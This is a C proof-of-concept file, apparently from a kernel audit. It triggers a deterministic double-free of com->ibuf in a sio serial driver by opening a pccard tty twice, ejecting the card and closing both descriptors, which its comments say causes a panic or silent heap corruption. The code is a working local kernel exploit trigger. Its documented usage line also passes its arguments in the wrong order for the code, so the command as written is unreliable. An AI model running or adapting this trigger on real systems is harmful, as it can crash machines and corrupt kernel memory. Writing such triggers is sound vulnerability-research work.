/*
 * DF-3902 trigger: deterministic double-free of com->ibuf via repeated
 * sioclose() on the gone path (needs pccard sio + ejection to set com->gone).
 *
 * RUN BEFORE EJECT:   ./df3902_trigger open /dev/ttyd3
 * EJECT THE CARD (or modunload the pccard controller).
 * Then press ENTER in each window (or let timeout fire) -> two sioclose()
 * calls -> second kfree(com->ibuf) at sio.c:1479 = double free
 * ("duplicate free of 9e...." panic from malloc or silent heap corruption).
 *
 * On a normal (non-gone) sio unit, this program is a harmless double
 * open/close and verifies the healthy close path — which is exactly what
 * we ran on the audit guest's sio0 console (no panic, clean close x2).
 */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    const char *dev = argc > 1 ? argv[1] : "/dev/ttyd0";
    int fd1, fd2;

    fd1 = open(dev, O_RDWR | O_NONBLOCK | O_NOCTTY);
    fd2 = open(dev, O_RDWR | O_NONBLOCK | O_NOCTTY);
    if (fd1 < 0 || fd2 < 0) {
        printf("open failed: %s\n", strerror(errno));
        return 1;
    }
    printf("two fds open on %s; pid=%d\n", dev, (int)getpid());
    if (argc > 2 && strcmp(argv[2], "open") == 0) {
        printf("holding open... eject the pccard now, then press ENTER twice "
               "(or wait for the terminal to close both)\n");
        getchar();
    }
    close(fd1);
    printf("fd1 closed (first sioclose)\n");
    close(fd2);
    printf("fd2 closed (second sioclose -> double free when com->gone)\n");
    return 0;
}
